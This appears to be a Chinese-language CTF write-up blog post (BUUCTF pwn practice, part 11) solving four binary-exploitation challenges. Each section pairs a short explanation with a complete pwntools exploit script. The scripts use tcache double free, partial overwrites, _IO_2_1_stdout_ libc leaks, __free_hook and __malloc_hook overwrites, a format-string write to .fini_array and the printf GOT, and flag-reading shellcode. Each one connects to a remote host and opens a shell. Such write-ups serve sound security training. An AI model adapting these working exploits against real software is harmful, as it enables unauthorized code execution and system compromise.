BUUCTF-PWN刷题记录-11

目录

    • sctf_2019_one_heap(double free,partial rewrite,利用_IO_2_1_stdout_泄露libc)
    • SWPUCTF_2019_p1KkHeap(double free,劫持tcache控制结构)
    • ciscn_2019_sw_1(格式化字符串漏洞,劫持.finit_array)
    • TWCTF_online_2019_asterisk_alloc (tcache attack,realloc块重叠,劫持_IO_2_1_stdout_泄露libc)

sctf_2019_one_heap(double free,partial rewrite,利用_IO_2_1_stdout_泄露libc)

BUUCTF-PWN刷题记录-11_第1张图片
指针没有置空,但是没有编辑功能因此只能double free
BUUCTF-PWN刷题记录-11_第2张图片
思路:
其实这题挺像roarctf的realloc_magic的,因为没有show功能因此需要使用_IO_2_1_stdout_泄露libc
但是之前我们还需要弄出unsorted bin来
先申请一次,然后double free,使用partial rewrite爆破tcache控制结构(爆破一个byte),如果我们能分配到控制结构,就把chunk大小为0x250的num改为0x7,这样把它释放之后main_arena+0x60就会留在上面,在申请一个0x40大小的,main_arena+0x60就会留在0x40和0x50的地址处,这里建议申请0x50的chunk,因为0x40的chunk很可能num是负数而不能用。再次利用partial rewrite把_IO_2_1_stdout_写在0x50的地址处,接下来在进行一次申请,并把_free_hook写上去,这时候写上去的是chunk大小为0x80和0x90的地址,申请哪个都行,然后写入/bin/sh\x00+p64(system),释放即可

Exp:

from pwn import *

#r = remote("node3.buuoj.cn", 27296)
#r = process("./sctf_2019_one_heap")

#context.log_level = 'debug'
DEBUG = 0
if DEBUG:
    gdb.attach(r,
    '''
    b *$rebase(0xCAF)
    x/20gx $rebase(0x202050)
    bin
    ''')
elf = ELF("./sctf_2019_one_heap")
libc = ELF('./libc/libc-2.27.so')

def add(size, content):
	r.recvuntil("Your choice:")
	r.sendline('1')
	r.recvuntil("Input the size:")
	r.sendline(str(size))
	r.recvuntil("Input the content:")
	r.send(content)


def delete():
	r.recvuntil("Your choice:")
	r.sendline('2')


def pwn():
        add(0x7f, 'aaa\n')
        delete()
        delete()
        add(0x7f, '\x10\xd0\n')
        add(0x7f, 'bbb\n')
        payload = p64(0)*4+p64(0x0000000007000000)+'\n'
        add(0x7f, payload)
        delete()
        add(0x40, '\n')
        add(0x18, p64(0)+'\x60\x87\n')
        add(0x40,p64(0xfbad1887)+p64(0)*3+p8(0x58)+'\n')#get _IO_2_1_stdout_  change flag and write_base
        #get_libc
        libc_base = u64(r.recvuntil("\x7f").ljust(8,'\x00'))-libc.sym['_IO_file_jumps'] #choose by yourself _IO_2_1_stderr_+216 store
        free_hook=libc_base+libc.sym['__free_hook']
        system = libc_base + libc.sym['system']
        success("libc_base:"+hex(libc_base))

        add(0x18, p64(free_hook-8)*2+'\n')
        add(0x7f, '/bin/sh\x00'+p64(system)+'\n')
        delete()

        r.sendline('cat /flag')
        r.interactive()


if __name__ == "__main__":
    
    while True:
        r = remote("node3.buuoj.cn", 25222)
        try:
            pwn()
        except:
            r.close()
    
    

SWPUCTF_2019_p1KkHeap(double free,劫持tcache控制结构)

BUUCTF-PWN刷题记录-11_第3张图片
这题和vn tcache那题非常像,但是略有不同
首先是给了我们一块0x1000大小的可读可写可执行区域
在这里插入图片描述
当然也增加了限制,不能执行execve
BUUCTF-PWN刷题记录-11_第4张图片
还有其他一些限制,操作次数最多18次,删除次数最多3次
在这里插入图片描述
解题思路:
这题前面的做法和vn那题一样,劫持tcache的控制结构
不同的是劫持之后需要在tcache入口写入0x66660000,并在该地址写入读flag的shellcode,然后把__malloc_hook写入0x66660000即可

from pwn import *

menu = "Your Choice: "
def add(size):
	r.recvuntil(menu)
	r.sendline('1')
	r.recvuntil("size: ")
	r.sendline(str(size))


def delete(index):
	r.recvuntil(menu)
	r.sendline('4')
	r.recvuntil("id: ")
	r.sendline(str(index))

def show(index):
	r.recvuntil(menu)
	r.sendline('2')
	r.recvuntil("id: ")
	r.sendline(str(index))

def edit(index, content):
	r.recvuntil(menu)
	r.sendline('3')
	r.recvuntil("id: ")
	r.sendline(str(index))
	r.recvuntil("content: ")
	r.send(content)

r = remote("node3.buuoj.cn", 28510)
#r = process("./SWPUCTF_2019_p1KkHeap")

context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
    gdb.attach(r, 
    '''
    b *$rebase(0x1155)
    x/10gx $rebase(0x202100)
    c
    ''')
elf = ELF("./SWPUCTF_2019_p1KkHeap")
libc = ELF("./libc/libc-2.27.so")
one_gadget_18 = [0x4f2c5,0x4f322,0x10a38c]
my_addr = 0x66660000

add(0x80)#0
add(0x80)#1

delete(0)
delete(0)


show(0)
r.recvuntil("content: ")
heap = u64(r.recvuntil('\n').strip().ljust(8, '\x00'))
success('heap'+hex(heap))

add(0x80)#2
edit(2, p64(heap - 0x250))

add(0x80)#3
add(0x80)#4
edit(4,p64(0x0707070707070707).ljust(0x70,'\x00')+p64(my_addr)+p64(0))

shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read(3, my_addr+0x100, 50)
shellcode += shellcraft.write(1, my_addr+0x100, 50)


add(0x70)#5
edit(5,asm(shellcode))

delete(0)
show(0)
r.recvuntil("content: ")
malloc_hook = u64(r.recvuntil('\n').strip().ljust(8, '\x00')) - 0x60 - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
one_gadget = one_gadget_18[2] + libc_base
realloc = libc_base + libc.sym['__libc_realloc']
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
success("malloc_hook"+hex(malloc_hook))

edit(4,p64(0x0707070707070707).ljust(0x70,'\x00')+p64(my_addr)+p64(malloc_hook))



add(0x80)#6
edit(6, p64(my_addr))

add(0x20)

r.interactive()

ciscn_2019_sw_1(格式化字符串漏洞,劫持.finit_array)

BUUCTF-PWN刷题记录-11_第5张图片
一道思路比较独特的格式化字符串漏洞题目

main函数中只有一次利用漏洞的机会
BUUCTF-PWN刷题记录-11_第6张图片
有system的got表项
BUUCTF-PWN刷题记录-11_第7张图片
一个可行思路是把printf的GOT改为system@plt,然后输入/bin/sh,但是考虑到只有一次机会就比较困难
所以我们需要一个能让main多次执行的办法
这时我们只要把main的地址填入finit_array就能无限循环main函数了
简单介绍一下.init_array和.finit_array
.init_array中的函数会在main之前执行
.finit_array中的函数会在main之后执行
BUUCTF-PWN刷题记录-11_第8张图片
Exp:

from pwn import *

r = remote("node3.buuoj.cn", 29727)
#r = process('./ciscn_2019_sw_1')

DEBUG = 0
if DEBUG:
    gdb.attach(r, 
    ''' 
    b *0x080485A8
    c
    ''')
elf = ELF("./ciscn_2019_sw_1")
printf_got = elf.got['printf']
finit = 0x0804979C
main = 0x08048534
system = 0x080483D0


num1 = 0x0804-0x10
num2 = 0x83D0-0x0804
num3 = 0x8534-0x83D0
payload = p32(finit+2) + p32(printf_got+2) +p32(printf_got) + p32(finit)
payload += '%' + str(num1) + 'c%4$hn%5$hn%' + str(num2) + 'c%6$hn%' + str(num3) + 'c%7$hn'#4$
print len(payload)
#r.recvuntil("Hello ")
r.sendline(payload)

r.sendline('/bin/sh')
r.interactive()

TWCTF_online_2019_asterisk_alloc (tcache attack,realloc块重叠,劫持_IO_2_1_stdout_泄露libc)

在这里插入图片描述
这题和 roarctf_2019_realloc_magic 是一个做法,思路直接参考链接的博文即可
这题和那题不同的地方是这题不能用realloc去申请_IO_2_1_stdout_,因为本题无法将realloc_ptr置空,如果再次申请会触发size错误,所以我们改用malloc去申请_IO_2_1_stdout_即可

from pwn import *

#r = remote("node3.buuoj.cn", 25009)
#r = process("./TWCTF_online_2019_asterisk_alloc")

context.log_level = 'debug'
DEBUG = 0
if DEBUG:
    gdb.attach(r, 
    '''
    b *$rebase(0xD77)
    x/10gx $rebase(0x202030)
    c
    ''')
elf = ELF("./TWCTF_online_2019_asterisk_alloc")
libc = ELF('./libc/libc-2.27.so')

menu = "=================================\n"

def malloc(size, content):
	r.recvuntil(menu)
	r.sendline('1')
	r.recvuntil("Size: ")
	r.sendline(str(size))
	r.recvuntil("Data: ")
	r.send(content)

def calloc(size, content):
	r.recvuntil(menu)
	r.sendline('2')
	r.recvuntil("Size: ")
	r.sendline(str(size))
	r.recvuntil("Data: ")
	r.send(content)

def realloc(size, content):
	r.recvuntil(menu)
	r.sendline('3')
	r.recvuntil("Size: ")
	r.sendline(str(size))
	r.recvuntil("Data: ")
	r.send(content)

def delete(type):
	r.recvuntil(menu)
	r.sendline('4')
	r.recvuntil("Which: ")
	r.sendline(type)


def pwn():
	realloc(0x70,'a')
	realloc(0,'')
	realloc(0x100,'b')
	realloc(0,'')
	realloc(0xa0,'c')
	realloc(0,'')

	realloc(0x100,'b')
	[delete('r') for i in range(7)] #fill tcache
	realloc(0,'') #to unsortbin fd->arena
	realloc(0x70,'a')
	realloc(0x180,'c'*0x78+p64(0x41)+p8(0x60)+p8(0x87))#overlap

	realloc(0,'')
	#pause()
	realloc(0x100,'a')
	realloc(0,'')
	malloc(0x100,p64(0xfbad1887)+p64(0)*3+p8(0x58))#get _IO_2_1_stdout_  change flag and write_base

	#get_libc
	libc_base = u64(r.recvuntil("\x7f",timeout=0.1)[-6:].ljust(8,'\x00'))-libc.sym['_IO_file_jumps'] #choose by yourself _IO_2_1_stderr_+216 store _IO_file_jumps
	if libc_base < 0:
		exit(-1)
	success("libc_base:"+hex(libc_base))
	free_hook=libc_base+libc.sym['__free_hook']
	system = libc_base + libc.sym['system']
	one_gadget=libc_base + 0x4f322

	r.sendline('666') #padding
	#pause()
	
	
	realloc(0x120,'a')
	realloc(0,'')
	realloc(0x130,'a')
	realloc(0,'')
	realloc(0x170,'a')
	realloc(0,'')

	realloc(0x130,'a')
	[delete('r') for i in range(7)]
	realloc(0,'')

	realloc(0x120,'a')
	realloc(0x260,'a'*0x128+p64(0x41)+p64(free_hook-8))
	realloc(0,'')
	realloc(0x130,'a')
	realloc(0,'')
	realloc(0x130,'/bin/sh\x00'+p64(system))
	delete('r')

	r.interactive()


if __name__ == "__main__":
	#pwn()
	
	while True:
		r = remote("node3.buuoj.cn", 26543)
		try:
			pwn()
		except:
			r.close()
	
    

你可能感兴趣的:(BUU-PWN)